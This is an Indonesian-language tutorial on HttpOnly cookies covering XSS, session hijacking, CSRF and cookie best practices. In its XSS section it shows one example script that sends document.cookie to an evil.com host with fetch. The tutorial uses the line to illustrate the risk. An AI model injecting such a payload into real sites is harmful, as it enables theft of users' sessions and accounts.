HTTP Only Cookie #
Dalam web application modern, cookie masih menjadi salah satu mekanisme utama untuk menyimpan state autentikasi (session, access token, refresh token). Namun, cara cookie digunakan sangat menentukan tingkat keamanan aplikasi.
Salah satu atribut cookie yang paling krusial namun sering diremehkan adalah HttpOnly.
Artikel ini akan membahas secara mendalam:
- Apa itu HTTP Only Cookie
- Mengapa atribut ini sangat penting bagi security
- Jenis serangan umum jika tidak digunakan
- Best practice implementasi HTTP Only Cookie dalam web application
Apa Itu HTTP Only Cookie? #
HTTP Only Cookie adalah cookie yang diberi atribut HttpOnly, yang berarti:
Cookie tidak dapat diakses oleh JavaScript melalui
document.cookie.
Cookie dengan atribut ini hanya dikirim oleh browser melalui HTTP/HTTPS request ke server.
Contoh Cookie dengan HttpOnly #
Set-Cookie: session_id=abc123;
HttpOnly;
Secure;
SameSite=Strict;
Path=/
Artinya:
- Cookie dikirim otomatis oleh browser
- Tidak bisa dibaca, dimodifikasi, atau dihapus oleh JavaScript
- Hanya server yang bisa memvalidasi dan mengelola isinya
Masalah Besar Jika Cookie Bisa Diakses JavaScript #
Secara default, cookie bisa diakses oleh JavaScript:
document.cookie
Jika ini dibiarkan:
- Token autentikasi bisa dicuri
- Session bisa dibajak
- Dampak XSS menjadi sangat fatal
Inilah alasan utama mengapa HttpOnly bukan fitur tambahan, melainkan baseline security.
Nilai Penting HTTP Only Cookie bagi Security #
Proteksi Kritis terhadap XSS (Cross-Site Scripting) #
XSS memungkinkan attacker menjalankan JavaScript berbahaya di browser korban.
Tanpa HttpOnly:
<script>
fetch("https://evil.com/steal?cookie=" + document.cookie)
</script>
Dengan HttpOnly:
document.cookietidak mengandung cookie sensitif- Token autentikasi aman walaupun XSS terjadi
HttpOnly tidak mencegah XSS, tapi membatasi dampaknya secara drastis.
Mencegah Session Hijacking #
Session hijacking terjadi ketika attacker mendapatkan session identifier korban.
Tanpa HttpOnly:
- Session ID bisa dicuri lewat JS
- Attacker bisa replay session
Dengan HttpOnly:
- Session ID hanya hidup di level HTTP
- Tidak bisa diekstrak oleh client-side script
Memaksa Server-Side Trust Model #
HttpOnly mendorong arsitektur yang benar:
- Server = pemilik otoritas autentikasi
- Client = hanya pengirim request
Ini mencegah:
- Logic autentikasi di frontend
- Penyimpanan token di localStorage
- Trust berlebih ke browser
Serangan Umum Jika HttpOnly Tidak Digunakan #
Cross-Site Scripting (XSS) #
Dampak tanpa HttpOnly:
- Token dicuri
- Account takeover
- Privilege escalation
Realita pahit:
Banyak aplikasi “aman” runtuh total hanya karena satu XSS kecil.
Session Fixation #
Tanpa kontrol cookie yang baik:
- Attacker set cookie terlebih dahulu
- User login dengan session attacker
HttpOnly membantu memperketat kontrol server terhadap lifecycle session.
Token Exfiltration via Third-Party Script #
Jika menggunakan:
- Analytics
- Ads
- Chat widget
Tanpa HttpOnly:
- Script pihak ketiga bisa membaca cookie
Dengan HttpOnly:
- Cookie autentikasi tidak terlihat oleh mereka
Diagram Alur: Cookie dengan vs tanpa HttpOnly #
Tanpa HttpOnly #
[User Browser]
|
| document.cookie
v
[Malicious JS]
|
v
[Attacker Server]
Dengan HttpOnly #
[User Browser]
|
| HTTP Request (Cookie auto attached)
v
[Web Server]
|
v
[Auth Validation]
JavaScript tidak pernah menyentuh cookie.
HTTP Only vs LocalStorage (Perbandingan Singkat) #
| Aspek | HttpOnly Cookie | localStorage |
|---|---|---|
| Akses JS | ❌ Tidak | ✅ Ya |
| Aman dari XSS | ✅ Lebih aman | ❌ Tidak |
| Auto attach ke request | ✅ Ya | ❌ Tidak |
| Rentan CSRF | ⚠️ Ya | ❌ Tidak |
Security yang baik bukan memilih satu, tapi mengombinasikan kontrol dengan benar.
Best Practice Penggunaan HTTP Only Cookie #
Selalu Kombinasikan dengan Secure #
Set-Cookie: session=...; HttpOnly; Secure
- Cookie hanya dikirim via HTTPS
- Wajib untuk production
Gunakan SameSite dengan Tepat #
| Nilai | Kegunaan |
|---|---|
| Strict | Aplikasi internal / dashboard |
| Lax | Web umum (login form) |
| None | Cross-site (harus Secure) |
SameSite=Lax
Jangan Simpan JWT Access Token di JavaScript #
❌ Salah:
- localStorage
- sessionStorage
- memory JS
✅ Benar:
- HttpOnly Cookie
- Validasi di server
Pisahkan Access Token dan Refresh Token #
Best practice modern:
- Access Token: short-lived
- Refresh Token: HttpOnly + Secure + SameSite
Implementasikan CSRF Protection #
Karena HttpOnly Cookie masih dikirim otomatis, maka:
- Gunakan CSRF token
- Gunakan SameSite
- Validasi Origin / Referer
HttpOnly bukan pengganti CSRF protection.
Rotate Session Secara Berkala #
- Regenerate session ID setelah login
- Invalidate session lama
- Batasi idle timeout
Kesalahan Umum di Dunia Nyata #
- ❌ Merasa aman hanya karena pakai HTTPS
- ❌ Menyimpan JWT di localStorage
- ❌ Menganggap HttpOnly opsional
- ❌ Tidak mengatur SameSite
Kesimpulan #
HTTP Only Cookie adalah fondasi keamanan autentikasi web.
Ia:
- Tidak mencegah XSS
- Tapi mencegah account takeover akibat XSS
- Mengunci token di level HTTP
- Memaksa desain security yang benar
Jika aplikasi Anda menggunakan login dan cookie tanpa HttpOnly, maka itu bukan soal jika akan diserang — tapi kapan.
Checklist Singkat #
✅ HttpOnly ✅ Secure ✅ SameSite ✅ HTTPS ✅ CSRF Protection
Semua harus berjalan bersamaan.